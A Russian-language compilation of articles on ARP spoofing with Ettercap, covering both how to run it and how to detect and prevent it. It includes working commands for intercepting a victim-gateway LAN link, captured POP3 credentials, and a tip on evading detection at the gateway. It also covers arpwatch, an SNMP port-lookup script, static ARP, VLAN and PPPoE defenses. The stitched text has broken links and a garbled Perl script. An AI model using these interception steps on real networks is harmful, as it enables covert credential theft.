На каких портах работает ettercap. Ettercap: праздник на твоей улице

В этой статье будет рассказано, как перехватывать трафик в локальной сети с помощью Ettercap. Используя для этого MITM атаки (Man In The Middle attacks – атаки типа “человек по середине”).

– open source утилита для анализа безопасности компьютерных сетей. Основное предназначение которой – MITM атаки (Man In The Middle attacks – атаки типа “человек по середине”). Имеет возможность sniffing of live connections, фильтрация контента на лету, а так же много других интересных возможностей. Поддерживает как активные, так и пассивные вскрытия протоколов и включает большое количество функций для анализа сети и узла.

Более подробную информацию, можно найти на

Установка/Настройка Ettercap

Скачать и установить Ettercap можно из исходников – . В качестве альтернативы можно воспользоваться следующей командой:

# apt-get install ettercap-gtk ettercap-common

Находим в нем вот эти строки и раскомментируем их:

# if you use iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

# if you use iptables:

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

После того, как все перечисленные выше операции сделаны, запускаем Ettercap. Однако у некоторых, в том числе и у меня, Ettercap работать не будет. Будут появляться ошибки вида “SEND L3 ERROR “. Чтобы такие ошибки не появлялись, воспользуйтесь следующей командой:

# echo "1" > /proc/sys/net/ipv4/ip_forward # cat /proc/sys/net/ipv4/ip_forward 1

# echo "1" > /proc/sys/net/ipv4/ip_forward

# cat /proc/sys/net/ipv4/ip_forward

Теперь все должно работать нормально и ошибки не должны выскакивать.

ARP Poisoning

Ранее уже описывалось, что такое “ “ и для чего она нужна. Здесь же будет описано, как осуществить ее используя Ettercap.

Для начала посмотрите на архитектуру сети (см. рисунок ниже), которая будет использоваться. Это нужно для того, чтобы вы хорошо понимали, что и от куда берется:

Запускаем Ettercap:

Перед нами появится окно приложения, как показано ниже:

Щелкаем по кнопкеSniff -> Unified sniffing . После этого выбираем интерфейс, который используется. У меня этоeth0 :

В верхнем меню нажимаем кнопкиHosts Scan for hosts :

Теперь опять щелкаемHosts Hosts list . Появится окно, как показано на рисунке ниже:

Здесь нам нужно выбрать цели, т.е. выбрать машину, которая будет выступать в качестве “жертвы” и шлюз. Как видно из архитектуры сети, которую используем, в качестве “жертвы” выступает машина сIP-адресом = 192.168.1.3 . Ну а в качестве шлюзаIP-адрес = 192.168.1.1 . Поэтому выбираем 192.168.1.3 и нажимаем кнопкуAdd to Target 1 . Теперь щелкаем 192.168.1.1 и нажимаем кнопкуAdd to Target 2 .

НажимаемОК . Осталось только запустить. Для этого нажимаем на кнопкуStart Start sniffing .

Sniffing запущен. Осталось подождать, когда пользователь будет вводить свои данные, например от почтового аккаунта.

ARP-spoofing (ARP-poisoning) - техника сетевой атаки применяемая преимущественно в Ethernet, но возможная и в других, использующих протокол ARP сетях, основанная на использовании недостатков протокола ARP и позволяющая перехватывать трафик между узлами, которые расположены в пределах одного широковещательного домена.

В статье детально описана техника атаки ARP-spoofing , на примере атаки, выполненной с помощью программы ettercap; рассмотрены такие методы обнаружения и предотвращения ARP-атак, как слежение за ARP-активностью с помощью arpwatch, наложение специальных патчей для придания иммунитета системам, использование VLAN и PPPoE. Показано как решать имеющие непосредственное отношение к протоколу ARP задачи: поиск компьютеров по известному MAC-адресу и обнаружение новых компьютеров в сети.

Протокол ARP и атаки с его использованием

Что такое и для чего нужен ARP

Протокол ARP предназначен для преобразования IP-адресов в MAC-адреса. Чаще всего речь идёт преобразовании в адреса Ethernet, но ARP используется и в сетях других технологий: Token Ring, FDDI и других.

Алгоритм работы ARP

Протокол может использоваться в следующих случаях:

  1. Хост A хочет передать IP-пакет узлу B , находящемуся с ним в одной сети;
  2. Хост A хочет передать IP-пакет узлу B , находящемуся с ним в разных сетях, и пользуется для этого услугами маршрутизатора R .

В любом из этих случае узлом A будет использоваться протокол ARP, только в первом случае для определения MAC-адреса узла B , а во втором - для определения MAC-адреса маршрутизатора R . В последнем случае пакет будет передан маршрутизатору для дальнейшей ретрансляции.

Далее для простоты рассматривается первый случай, когда информацией обмениваются узлы, находящиеся непосредственном в одной сети. (Случай когда пакет адресован узлу находящемуся за маршрутизатором отличается только тем, что в пакетах передаваемых после того как ARP-преобразование завершено, используется IP-адрес получателя, но MAC-адрес маршрутизатора, а не получателя.)

Проблемы ARP

Протокол ARP является абсолютно незащищённым. Он не обладает никакими способами проверки подлинности пакетов: как запросов, так и ответов. Ситуация становится ещё более сложной, когда может использоваться самопроизвольный ARP (gratuitous ARP).

Самопроизвольный ARP - такое поведение ARP, когда ARP-ответ присылается, когда в этом (с точки зрения получателя) нет особой необходимости. Самопроизвольный ARP-ответ это пакет-ответ ARP, присланный без запроса. Он применяется для определения конфликтов IP-адресов в сети: как только станция получает адрес по DHCP или адрес присваивается вручную, рассылается ARP-ответ gratuitous ARP.

Самопроизвольный ARP может быть полезен в следующих случаях:

  • Обновление ARP-таблиц, в частности, в кластерных системах;
  • Информирование коммутаторов;
  • Извещение о включении сетевого интерфейса.

Несмотря на эффективность самопроизвольного ARP, он является особенно небезопасным, поскольку с его помощью можно уверить удалённый узел в том, что MAC-адрес какой-либо системы, находящейся с ней в одной сети, изменился и указать, какой адрес используется теперь.

ARP-spoofing

До выполнения ARP-spoofing’а в ARP-таблице узлов A и B существуют записи с IP- и MAC-адресами друг друга. Обмен информацией производится непосредственно между узлами A и B. (зелёная стрелка)

В ходе выполнения ARP-spoofing’а компьютер C , выполняющий атаку, отправляет ARP-ответы (без получения запросов):

  • узлу A : с IP-адресом узла B и MAC-адресом узла C ;
  • узлу B : с IP-адресом узла A и MAC-адресом узла C .

В силу того что компьютеры поддерживают самопроизвольный ARP (gratuitous ARP), они модифицируют собственные ARP-таблицы и помещают туда записи, где вместо настоящих MAC-адресов компьютеров A и B стоит MAC-адрес компьютера C . (красные стрелки)

После того как атака выполнена , когда компьютер A хочет передать пакет компьютеру B , он находит в ARP-таблице запись (она соответствует компьютеру C ) и определяет из неё MAC-адрес получателя. Отправленный по этому MAC-адресу пакет приходит компьютеру C вместо получателя. Компьютер C затем ретранслирует пакет тому, кому он действительно адресован - т.е. компьютеру B . (синие стрелки)

Инструменты для выполнения ARP-spoofing’а

В настоящее время существует несколько инструментов для выполнения ARP-spoofing’а, работающие как в ОС Linux, так и в ОС Windows.

Наиболее известные:

  • Ettercap
  • Cain & Abel
  • dsniff
  • arp-sk

Все названные программы распространяются свободно.

Выполнение ARP-spoofing’а c помощью ettercap

[Пример выполнения атаки с помощью ettercap.] Рассмотрим как выполнить вышеописанную атаку с помощью ettercap.

  • Что происходит на машине A.
  • Что происходит на машине B.
  • Что происходит на машине C.

Детально рассмотрим как выполняется ARP-spoofing. В качестве инструмента будем использовать программу ettercap, однако другие инструменты для выполнения ARP-spoofing’а работают аналогичным образом.

  • Машина A - hostA - 192.168.15.201 - 00:04:75:75:46:B1
  • Машина B - hostB - 192.168.15.254 - 00:0A:01:D4:D1:39
  • Машина C - hostC - 192.168.15.200 - 00:0A:01:D4:D1:E3

Атаку выполняет hostC против узлов hostA и hostB .

Установить ettercap принятым в системе способом:
hostC%# apt-get install ettercap
Выполнить атаку против узлов hostA и hostB:
%# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/
Опции означают:

  • -T - использовать текстовый (консольный) интерфейс;
  • -M arp - использовать модуль ARP-spoofing’а для выполнения атаки;
  • -L log - записывать журнал перехвата в файлы с именем log.*;

В качестве аргументов указываются IP-адреса машин, против которых нужно выполнять атаку ARP-spoofing.

Пусть, например, в это время узел A обращается к узлу B по протоколу POP3, классическому примеру незащищённого, но очень распространённого протокола - проверяет почту.

hostA %# nc 192.168.15.254 110
USER user
+OK
PASS password
+OK
LIST
+OK
.

Данные передающиеся между клиентом hostA и сервером hostB проходят через узел C. Они выводятся на экран и записываются в файлы. После того как атака завершена для выхода из ettercap необходимо нажать q. Программа отсылает ARP-пакеты для восстановления старых записей в кэше ARP узлов, чтобы они общались друг с другом напрямую. В текущем каталоге должны появиться два файла, начинающиеся словом, указанным после ключа -L при вызове ettercap :

%# ls log.*
log.eci
log.ecp

Просмотреть их содержимое можно с помощью программы etterlog, входящей в пакет ettercap:

%# etterlog log.eci
etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Log file version: NG-0.7.3
Timestamp: Thu Jun 21 12:23:11 2007
Type: LOG_INFO
1698 tcp OS fingerprint
7587 mac vendor fingerprint
2183 known services

IP address: 192.168.15.201
MAC address: 00:04:75:75:46:B1
...
MANUFACTURER: Sohoware
DISTANCE: 0
TYPE: LAN host
FINGERPRINT:
OPERATING SYSTEM: UNKNOWN
PORT: TCP 110 | pop-3
ACCOUNT: user
/ password
(192.168.15.201)
==================================================

Как видно, пароль был успешно перехвачен. Посмотрим как на узле hostA (атакуемом) меняется ARP-таблица

До атаки.

hostA%# arp -an

Во время атаки.

hostA%# arp -an
? (192.168.15.254) at 00:0A:01:D4:D1:E3 on eth0
? (192.168.15.200) at 00:0A:01:D4:D1:E3 on eth0

После атаки.

hostA%# arp -an
? (192.168.15.254) at 00:0A:01:D4:D1:39 on eth0
? (192.168.15.200) at 00:0A:01:D4:D1:E3 on eth0

Если смотреть, что происходит на интерфейсе eth0 компьютера hostA (через который выполняется атака), можно увидеть, что как только начинается атака, на интерфейс поступают ARP-пакеты, которые указывают, что MAC-адрес машины 192.168.15.254 изменился. Пакеты приходят постоянно. Когда атака завершена, MAC-адрес в пакета внезапно меняется на другой. А потом они вообще перестают приходить.

%# tcpdump -i eth0 arp
08:34:20.231680 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:21.259637 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:22.287591 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:23.315522 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:32.463255 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
08:34:33.491040 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
08:34:34.514988 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)

Такая техника гарантирует, что таблица ARP на жертвах будет восстановлена и никто не заметит атаки.

Методы обнаружения

arpwatch

Программа arpwatch отслеживает всю ARP-активность на указанных интерфейсах. Когда она замечает аномалии, например, изменение MAC-адреса при сохранении IP-адреса, или наоборот, она сообщает об этом в syslog.

Инсталляция и конфигурирование arpwatch

Процедуру инсталляции и конфигурирования arpwatch рассмотрим на примере системы Debian GNU/Linux. Установка arpwatch выполняется традиционным для дистрибутива способом:

%# apt-get install arpwatch
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 124kB of archives.
After unpacking 389kB of additional disk space will be used.
Get:1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2
Fetched 124kB in 0s (177kB/s)
Selecting previously deselected package arpwatch.
(Reading database ... 22406 files and directories currently installed.)
Unpacking arpwatch (from .../arpwatch_2.1a13-2_i386.deb) ...
Setting up arpwatch (2.1a13-2) ...
Starting Ethernet/FDDI station monitor daemon: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.

После того как демон проинсталлирован, он автоматически заускается. (в других системах его, возможно, нужно будет запускать вручную.)

%# ps aux | grep arpwatch
arpwatch 4810 0.5 0.4 3448 2360 ? S 08:36 0:00 /usr/sbin/arpwatch -u arpwatch -N -p
root 4827 0.0 0.1 2852 712 pts/6 R+ 08:36 0:00 grep arpwatch

Демон не имеет никаких конфигурационных файлов. Конфигурация arpwatch полностью определяется набором передаваемых ему ключей. В Debian GNU/Linux ключи указываются в конфигурационном файле /etc/default/arpwatch (в FreeBSD - в файле /etc/rc.conf). При необходимости изменить конфигурацию arpwatch (в частности, заставить его прослушивать другие интерфейсы), нужно править указанный файл:

%# vi /etc/default/arpwatch
%# cat /etc/default/arpwatch
# Global options for arpwatch(8).
# Debian: don"t report bogons, don"t use PROMISC.
ARGS="-N -p"
# Debian: run as `arpwatch" user. Empty this to run as root.
RUNAS="arpwatch"

Если конфигурация была изменена, демон должен быть перезапущен:

%# /etc/init.d/arpwatch restart

Когда демон запускается, он обнаруживает новые станции. Не выполняется никаких активных действий - просто прослушивается ARP-трафик. Обнаруженные узлы запоминаются; о том, что обнаружен новый узел arpwatch сообщает в syslog. Обо всех зафиксированных им аномалиях в работе протокола ARP демон также сообщает в syslog:

# tail -f /var/log/daemon.log
Jun 21 08:37:08 [email protected] arpwatch: new station 192.168.15.200 0:a:1:d4:d1:e3 eth0
Jun 21 08:37:08 [email protected] arpwatch: new station 192.168.15.201 0:4:75:75:46:b1 eth0
Jun 21 08:37:09 [email protected] arpwatch: new station 192.168.15.254 0:a:1:d4:d1:39 eth0
Jun 21 08:37:09 [email protected] arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:11 [email protected] arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:12 [email protected] arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:13 [email protected] arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

Обратите внимание на строку

Jun 21 08:37:09 [email protected] arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

которая сообщает о том, что узел 192.168.15.254 изменил MAC-адрес.

Возможно, это означает, что против узла, на котором запущен arpwatch выполняется ARP-spoofing с целью перехвата трафика, которым он обменивается с узлом 192.168.15.254.

Обнаружение узла, выполняющего ARP-spoofing

Если коммутатор управляемый, можно определить, на каком из его портов работает узел, имеющий определённый MAC-адрес.

Например, это можно сделать с помощью скрипта mac2port. Скрипт связывается с коммутатором по SNMP и опрашивает его таблицу соответствия MAC-адресов портам. Полученная информация выдаётся в удобном для поиска виде на стандартный поток вывода. Для упрощения использования скрипт выводит MAC-адреса в таком же формате, как это делает arpwatch.

Условия для использования скрипта:

  • скрипт должен быть размещён в каталоге /usr/local/bin, или другом каталоге указанном в PATH;
  • скрипт должен быть исполняемым (chown +x mac2port) или вызываться с интерпретатором perl;
  • в теле скрипта должен быть указан IP-адрес коммутатора и его SNMP RO community;
  • коммутатор должен поддерживать SNMP версии 2; поддержка должна быть включена (не сложно переписать скрипт на более безопасный протокол SNMPv3, но эта версия работает именно с SNMPv2).

Пример использования скрипта:
%# ./mac2port
0:4:76:a1:ef:bb -> 1
0:a:1:d4:d1:e3 -> 2
0:15:60:79:8e:c0 -> 0
0:4:75:75:46:b1 -> 3
0:a:1:d4:d1:39 -> 44

Если ранее с помощью arpwatch была зафиксирована атака:

%# cat /var/log/daemon.log | grep "changed ethernet address"
Jun 21 08:37:09 [email protected]/192.168.15.201 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

можно воспользоваться скриптом, и определить с какого порта коммутатора она производилась (при этом не имеет значения, истинный ли это MAC-адрес сетевой карты атакующего или он был изменён):

%# mac=$(cat /var/log/daemon.log | grep "changed ethernet address" | awk "{print $10}")
%# ./mac2port | grep $mac
0:a:1:d4:d1:e3 -> 2

Важно чтобы определение выполнялось быстро, пока информация об атакующем ещё хранится в памяти коммутатора.

Для этого имеет смысл вызывать скрипт поиска автоматически при обнаружении соответствующей записи в системном журнале. Анализ журнала можно выполнять, например, такими средствами как swatch или syslog-ng.

Например, если используется syslog-ng. можно создать скрипт, выполняющий анализ:
/usr/local/bin/syslog-ng-arpwatch

#!/bin/sh
PATH=$PATH:/usr/local/bin
while read line
do
mac="$(echo $line | grep "changed ethernet address" | awk "{print $10}")"
[ -z "$mac"] && continue
(echo POSSIBLY ARP-SPOOFING FROM:; mac2port | grep "$mac")| logger -t arp-spoofing
done

и подключить его к syslog-ng.
Для этого нужно в конфигурационном файле syslog-ng.conf указать следующие строки:

destination dp_arpspoofing {
program("/usr/local/bin/syslog-ng-arpwatch");
};
filter f_arpspoofing {
match ("arpwatch");
};
log {
source(s_all);
filter (f_arpspoofing);
destination(dp_arpspoofing);
};

Строку
filter (f_arpspoofing);

можно и не указывать, но на нагруженных системах, она существенно снижает нагрузку. В этом случае при выполнении arp-spoofing’а происходит следующее:

  1. Демон arpwatch кидает информацию в syslog (через стандартный сокет /dev/log или /var/run/log);
  2. В том случае, если в качестве syslog-сервера используется Syslog-NG, он обнаруживает сигнатуру сообщения и передаёт обнаруженную строку скрипту syslog-ng-arpwatch ;
  3. Скрипт syslog-ng-arpwatch , если видит, что проблема действительная связана с ARP-spoofing’ом, вызывает скрипт поиска порта по MAC-адресу;
  4. Скрипт mac2port обращается к коммутатору по SNMP;
  5. Коммутатор отвечает - передаёт таблицы содержащую информацию о соответствии MAC-адресов портам вызвавшему его скрипту;
  6. Скрипт mac2port возвращает таблицу соответствия MAC-адресов портам коммутатора скрипту syslog-ng-arpwatch ;
  7. Скрипт syslog-ng-arpwatch находит интересующий порт и пишет сообщение в syslog;
  8. Демон syslog-ng записыват сообщение с информацией о порте коммутатора в файл, а также может передать его по SMS или почте администратору или вызвать внешнюю программу (которая, например, после дополнительных проверок может заблокировать порт коммутатора);
  9. Администратор читает об обнаруженной атаке в файле.

Вот как это выглядит в файле:
Jun 21 13:55:23 [email protected] arp-spoofing: POSSIBLY ARP-SPOOFING FROM:
Jun 21 13:55:23 [email protected] arp-spoofing: 0:a:1:d4:d1:e3 -> 2

Текст скрипта mac2port

#!/usr/bin/perl
our $community = "public";
our $switch = "192.168.15.100";
open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.1|")
or die "Can"t run snmpwalk";
while ()
{
chomp;
[email protected]@@;
my ($oid, $mac) = split /=\s*/;
$_=$mac;
[email protected]"@@g; [email protected]\s*[email protected]@; [email protected] @:@g; [email protected](.)@\l\[email protected]; [email protected]^[email protected]@; [email protected]:[email protected]:@g;
$mac_table{$_}=$oid;
}
close(SNMP);
open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.2|")
or die "Can"t run snmpwalk";
while ()
{
chomp;
[email protected]@@;
my ($oid, $port) = split /=/;
$ports_table{$oid}=$port;
}
close(SNMP);
for $oid (keys %mac_table) {
print "$oid -> ".$ports_table{$mac_table{$oid}}."\n";
}

Методы предотвращения

Борьба с ARP-spoofing’ом с помощью arpwatch и подобных инструментов оказывается хотя и очень простой, но далеко не эффективной.

  • Во-первых, для того чтобы зафиксировать атаку, на защищаемых узлах должна работать программа arpwatch (или аналогичная). В том случае если она запущена только на одном из двух узлов, подвергающихся ARP-spoofing’у, существует возможность незамеченной односторонней атаки.
  • Во-вторых, и это более важно, arpwatch позволяет только зафиксировать атаку, но он не в состоянии её предотвратить.

Для предотвращения последствий атаки необходимо вмешательство администратора или внешней системы. В первом случае между обнаружением и реакцией администратора может пройти слишком много времени. Во втором вмешательство не требуется, реакция выполняется автоматически: как только ARP-аномалия зафиксирована, определяется порт коммутатора, к которому подключён источник аномалии, и порт блокируется до выяcнения. Однако, такой подход имеет большой недостаток — он может быть использован для выполнения DOS атаки: достаточно только узнать MAC адрес компьютера, который надо отключит от сети, и сымитировать атаку с этого компьютера. Дальше наша система обнаружения и предотвращения ARP-spoofing’а все сделает сама.

В основе рассматриваемых способов противодействия ARP-атакам лежат два совершенно раличных принципа, каждый из которых обладает как достоинствами, так и недостатками.

Оба способа, помимо того что они надёжно защищают от ARP-spoofing’а имеют ещё то преимущество, что позволяют полностью контролировать трафик — не только тот, что проходит через шлюз, но и тот, который циркулирует между машинами (В случае использования PPPoE машины могут по взаимному согласию обмениваться данными между собой напрямую. В случае использования VLAN такой возможности они лишены напрочь.)

Одностороняя атака
Если нужно перехватить трафик, который уходит с какого-то узла в сети во внешнюю сеть, атаковать нужно узел и шлюз сети. Однако на шлюзе средство обнаружения ARP-spoofing’а может присутствовать с намного более высокой вероятностью, чем на узле. Поскольку нас интересует трафик, который узел отправляет в сеть, достаточно модифицировать ARP-таблицу только узла и не рисковать быть замеченным шлюзом. Данные, которые шлюз отправляет узлу будут проходить напрямую, а данные, которые узел отправляет шлюзу будут проходить через систему злоумышленника. (как на шлюзе, так и на узле можно было бы отследить, что на пакетах приходящих от узла MAC-адреса отличаются от тех, что записаны у него в ARP-таблице, т.е. что пакеты отправляются на один MAC-адрес, а приходят с другого. Но вот какие системы это делают?)

Статический ARP

Можно бороться со слабостями протокола ARP кардинально — просто не использовать его. ARP-таблицу можно сформировать вручную, при этом она становится неуязвимой к ARP-атакам. Для этого нужно добавить необходимые MAC-адреса в таблицу.

Если при этом отключить использование ARP на сетевых интерфейсах, то доступны будут только те системы, (1) MAC-адреса которых добавлены в ARP-таблицу нашего узла и (2) наш MAC-адрес добавлен в ARP-таблицы узлов, с которыми производится обмен трафиком.

Если не отключать использование ARP на сетевых интерфейсах, MAC-адрес заданный статически имеет приоритет. Если MAC-адрес для какого-то IP-адреса не задан, используется ARP-запрос.

Статическую ARP-таблицу можно получить на основе существующей ARP-таблицы маршрутизатора:

%# arp -an | grep -v incom | awk "{print $2" "$4}" | tr -d "()"

Если написать так:

%# arp -an | grep -v incom | awk "{print $2" "$4}" | tr -d "()" > /etc/ethers

она запишется в файл /etc/ethers

Нужно чтобы в таблице было максимальное количество машин сети. Нужно или строить таблицу в момент пика сетевой активности или предварительно пройдясь по всему диапазону адресов пингами:

for i in `seq 1 255`
do
ping -c 1 192.168.15.$i >& /dev/null &
done

(здесь 192.168.15.0/24 - сеть, для которой выполняется сканирование). После того как файл /etc/ethers создан, его можно загружать с помощью команды:

%# ifconfig eth1 -arp

Преимущества и недостатки

Метод ручного формирования ARP-таблиц имеет следующие недостатки:

  • добавляется много рутинной работы, связанной с добавлением и модификацией MAC-адресов. Каждое изменение в сети, связанное с заменой или перестановкой сетевых карт, должно сопровождаться редактирование ARP-таблиц в файлах.
  • клиентские узлы остаются по-прежнему уязвимыми к ARP-spoofing’у.

Патчи ядра системы

Существует патч (предложенные buggzy) для ядер Linux/FreeBSD, который позволяет свести к минимуму опасность успешного выполнения атаки ARP-spoofing против пропатченных систем.

Суть метода состоит в следующем. При приеме ARP-ответа производится сравнение старого и нового MAC-адресов, и при обнаружении его изменения запускается процедура верификации. Посылается ARP-запрос, требующий всем хозяевам IP-адреса сообщить свои MAC-адреса.

Если выполняется атака настоящая система, имеющая этот IP-адрес, ответит на запрос, и, таким образом, атака будет распознана. Если же изменение MAC-адреса было связано не с атакой, а со стандартными ситуациями, ответа, содержащего “старый” MAC-адрес, не будет, и по прошествию определенного таймаута система обновит запись в кеше.

При обнаружении подозрительной ситуации (“двойника”) ядро выводит сообщение: “ARP_ANTIDOTE: Possible MITM attempt!”, и не обновляет запись ARP-кеша, а наоборот, прописывает старую запись как статическую. После того как источник атаки выявлен и обезврежен, статическую запись можно удалить.

Патчи, реализующие этот метод борьбы:

* arp_antidote для Linux
* arp_antidote 2 для Linux
* Arp Poison patch для FreeBSD

Патчи работают только с ядром серии 2.4.

Другие методы борьбы с ARP-spoofing’ом

К сожалению, этот метод не применим к Windows-системам, и другим системам, работающим под управлением ОС, исходный код которых недоступен.

Необходимо решить проблему кардинально: нужно так построить сеть, чтобы выполнение ARP-spoofing’а в ней было принципиально невозможно. А если возможным, то бесполезным.

Это можно сделать двумя способами:

1. Ограничить для каждого узла широковещательный домен до уровня двух узлов: самого узла и ближайшего шлюза. подробнее. Почему атаку невозможно выполнить в этом случае. Тогда атаку просто некому выполнять — нужен третий. А его нет.
2. Сделать так чтобы все, абсолютно все, передаваемые в сети данные были зашифрованы и прослушивание этих данных, ни к чему бы не привело. Любое же изменение данных, в случае возникновения, сразу же обнаружено. То есть, фактически сеть должна быть такой же и безопасной при использовании вместо коммутатора концентратора.

Первый способ делается с помощью VLAN’ов . Второй — с помощью PPPoE .

Использование VLAN

Компьютер C может использовать ARP-spoofing против компьютера A только в том случае, если они находятся в одной сети канального уровня. В том случае, если они разделены маршрутизатором, атака невозможна (возможна атака на маршрутизатор, но это совсем другое дело).

VLAN’ы помогают сегментировать сеть — превратить одну сеть в множество изолированных на канальном уровне фрагментов, которые соединены между собой маршрутизатором. Атака ARP-spoofing возможна только между компьютерами находящимися в одном VLAN’е. В наиболее крайнем случае, когда в каждом VLAN’е находится только два компьютера: собственно компьютер и маршрутизатор, атака ARP-spoofing становится невозможной в принципе. К сожалению, такая организация сети являются очень требовательной к ресурсам маршрутизатора и используется редко.

Преимущества
  1. От клиента ничего не требуется. Он работает, как и работал. Если IP-адрес задан статически, необходима смена IP-адреса и сетевой маски.
  2. Данные не шифруются, и производительность не теряется. Малые потери на дополнительные поля в заголовке.
  3. Нельзя организовать обмен данными в обход шлюза между узлами в разных VLAN’ах. Если каждый узел находится в собственном VLAN’е такой обмен невозможен вообще.
Недостатки
  1. Необходима поддержка VLAN’ов коммутатором.
  2. Необходимо потратить время на настройку VLAN’ов, дополнительную настройку DHCP’сервера.
  3. Данные не шифруются. Если их прослушивание каким-то образом удастся, то они могут быть прочтены и/или модифицированы.

Использование PPPoE

Преимущества
  1. Данные шифруются
  2. Нет никаких требований к железу. Даже не обязательно чтобы сеть была коммутируемой
Недостатки
  1. На клиенте требуется настройка доступа по PPPoE. На некоторых системах требуется инсталляция специального клиентского программного обеспечения.
  2. За счёт потерь на инкапсуляцию, снижается производительность сети. Если выполняется шифрование данных, то временные потери увеличиваются.
  3. При взаимном согласии сторон можно организовать обмен данными между узлами в обход шлюза.
  4. При большом количестве соединений PPPoE (>200) возрастает нагрузка на центральный процессор сервера. Иногда, приходится жертвовать шифрованием данных.
  5. Если будет большая нагрузка на сервер легче использовать PPTPd или IPsec

Мифы и заблуждения, касающиеся ARP-spoofing

ARP-spoofing можно предотвратить с помощью функции port-security коммутаторов

Функция port-security коммутатора позволяет защититься от смены MAC-адреса на порту коммутатора. В том случае если компьютер, подключенный к порту коммутатора меняет MAC-адрес или если меняется компьютер, коммутатор замечает подмену и перестаёт передавать пакеты отправленные с новым обратным адресом. Кроме этого, могут выполняться другие действия: отсылка SNMP-трапа, запись в syslog и тому подобное.

При ARP-spoofing’е MAC-адрес отправителя (атакующего) не меняется и поэтому с точки зрения port-security никаких аномалий нет. Функция port-security никак не отвечает за соответствие IP-адресов и MAC-адресов, а атака ARP-spoofing построена именно на этом.

Программа замышлялась как анализатор трафика для коммутируемых ЛВС, но со временем превра­тилась в универсальное средство перехвата, анализа и регистрации сетевых пакетов. Она может работать в сетях с коммутаторами и концентраторами и имеет много необычных свойств. В частности, поддерживается как активный, так и пассивный анализ большого числа сетевых протоколов, в том числе тех, в которых применяется шифрование. Имеются средства анализа топологии сети и выявления инсталлированных операционных систем.

Для достижения своих целей программа Ettercap использует 5 различных методов ана­лиза: IP- и МАС-фильтрация, ARP-перехват и две разновидности последнего - Smart-ARP и Public-ARP.

В режиме IP-фильтрации пакеты проверяются на соответствие комбина­ции IP-адрес/порт (отправителя и получателя). В режиме МАС-фильтрации проверяются МАС-адреса отправителя и получателя (это удобно при установлении соединений через шлюз). В режиме ARP-перехвата осуществляется атака типа «незаметный посредник» на выбранные два узла коммутируемой сети. Это реализуется путем намеренного искажения ARP-кэша узлов, вызывающего автоматическую переадресацию трафика. Режимы Smart-ARP и Public-ARP реализуются похожим образом, но их цель - перехват трафика между узлом-«жертвой» и всеми остальными узлами. В первом случае задается список узлов, во втором - программа посылает широковещательные ARP-пакеты.

Возможности программы:

  • умеет модифицировать проходящие пакеты (в обоих направлениях);
  • умеет анали­зировать соединения протоколов SSH1 и HTTPS (даже если соединение устанавливается через прокси-сервер);
  • умеет подключать внешние модули;
  • умеет расшифровывать имена пользовате­лей и пароли для большого числа сетевых протоколов (включая Telnet, FTP, POP, SSH1, SMB, LDAP, NFS, IMAP4, VNC и многие другие);
  • умеет добавлять и удалять пакеты в рамках сеанса;
  • умеет пассивно сканировать сеть (не посылая пакеты) и уничтожать соединения.

Программа не требует начального конфигурирования. Можно задать все необходимые опции в командной строке либо подключить внешний конфигурационный файл.

При запуске программа посылает ARP-запрос для каждого IP-адреса в локальной сети. Список возможных IP-адресов определяется путем анализа собственного адреса и маски, а при получении ARP-ответов создается список узлов, функционирующих в сети. Следует быть осторожным, если сетевая маска задает сеть класса В (255.255.0.0), так как в этом случае программа вынуждена будет послать 65025 запросов. На их обработку уйдет немало времени, и к тому же такая деятельность может быть быстро обнаружена.

Программу можно использовать в двух режимах: интерактивном (графическом) и неин­терактивном. Графический интерфейс программы основан на библиотеке ncurses. Неинтерактивный режим полезен, если программа вызывается из сценария для фонового сбора данных.

Синтаксис вызова программы таков:

# ettercap [опции ][IP -получатель:порт ][IP -отправитель:порт ][МАС-получатель ][МАС-отправитель ]

Опции для выбора метода анализа:

-a, —arpsniff ARP-перехват

-s, —sniff IP-фильтрация

-m, —macsniff MAC-фильтрация

Опции общего назначения:

-N, —simple — неинтерактивный режим.

-z, —silent — «бесшумный» режим (без массовых ARP-запросов при за­пуске).

-О, —passive — пассивный сбор информации.

-b, —broadping — использование широковещательных ping-запросов вместо ARP-запросов.

-D, —delay <секунды > — задает задержку (в секундах) между двумя ARP-ответами.

-Z, —stormdelay <микросекунды > — задает задержку (в микросекундах) между ARP-запросами в ходе начального «вторжения» в сеть.

-S, —spoof <IP a д pec > — задает поддельный IP-адрес, используемый при сканирова­нии сети.

